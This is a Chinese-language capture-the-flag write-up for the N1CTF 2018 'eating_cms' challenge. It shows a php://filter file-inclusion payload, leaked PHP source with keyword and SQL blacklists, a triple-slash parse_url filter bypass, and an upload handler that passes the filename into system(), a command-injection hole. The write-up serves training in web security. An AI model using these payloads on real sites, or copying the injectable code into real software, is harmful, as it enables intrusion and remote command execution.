【N1CTF 2018】eating_cms

本文最后更新于：2023年8月25日下午

[N1CTF 2018]eating_cms

首先我们先访问 /register.php 注册一个账号

然后登录时抓包：（好像没啥用）

登录进去后，观察到了url：

1	`http://28cccbf3-a44a-489b-bd83-4c91fd1d739e.node4.buuoj.cn:81/user.php?page=guest`

page=guest，看起来应该是文件包含，我们尝试一下文件包含漏洞：

获取user.php源码

1	`user.php?page=php://filter/convert.base64-encode/resource=user`

user.php

<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
    Header("Location: index.php");

}
if($_SESSION['isadmin'] === '1'){
    $oper_you_can_do = $OPERATE_admin;
}else{
    $oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
    if(!isset($_GET['page']) || $_GET['page'] === ''){
        $page = 'info';
    }else {
        $page = $_GET['page'];
    }
}
else{
    if(!isset($_GET['page'])|| $_GET['page'] === ''){
        $page = 'guest';
    }else {
        $page = $_GET['page'];
        if($page === 'info')
        {
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
            Header("Location: user.php?page=guest");
        }
    }
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";
?>

然后读取function.php

<?php
session_start();
require_once "config.php";
function Hacker()
{
    Header("Location: hacker.php");
    die();
}


function filter_directory()
{
    $keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function filter_directory_guest()
{
    $keywords = ["flag","manage","ffffllllaaaaggg","info"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function Filter($string)
{
    global $mysqli;
    $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
    $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
    for ($i = 0; $i < strlen($string); $i++) {
        if (strpos("$whitelist", $string[$i]) === false) {
            Hacker();
        }
    }
    if (preg_match("/$blacklist/is", $string)) {
        Hacker();
    }
    if (is_string($string)) {
        return $mysqli->real_escape_string($string);
    } else {
        return "";
    }
}

function sql_query($sql_query)
{
    global $mysqli;
    $res = $mysqli->query($sql_query);
    return $res;
}

function login($user, $pass)
{
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
    if ($res->num_rows) {
        $data = $res->fetch_array();
        $_SESSION['user'] = $data[username_which_you_do_not_know];
        $_SESSION['login'] = 1;
        $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
        return true;
    } else {
        return false;
    }
    return;
}

function updateadmin($level,$user)
{
    $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);
    if ($res == 1) {
        return true;
    } else {
        return false;
    }
    return;
}

function register($user, $pass)
{
    global $mysqli;
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
    $res = sql_query($sql);
    return $mysqli->insert_id;
}

function logout()
{
    session_destroy();
    Header("Location: index.php");
}

?>

重点观察一下这些代码：

这里存在 parse_url()解析漏洞

$keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }

parse_str() 函数把查询字符串解析到变量中。

parse_url()

parse_url在url不能被解析的时候就会返回false

如果我们直接读取：ffffllllaaaaggg.php文件，会被waf检测到，我们可以让parse_url解析错误，这样就能绕过了

parse_url小结

一种方法是加三个斜杠 ///

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}else {
    echo "you can find sth in m4aaannngggeee";
}
?>

我们继续读：m4aaannngggeee.php

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}
include "templates/upload.html";

?>

访问：/templates/upload.html：

有一个假的文件上传，upllloadddd.php

我们尝试获得源码：

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file！");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
}
?>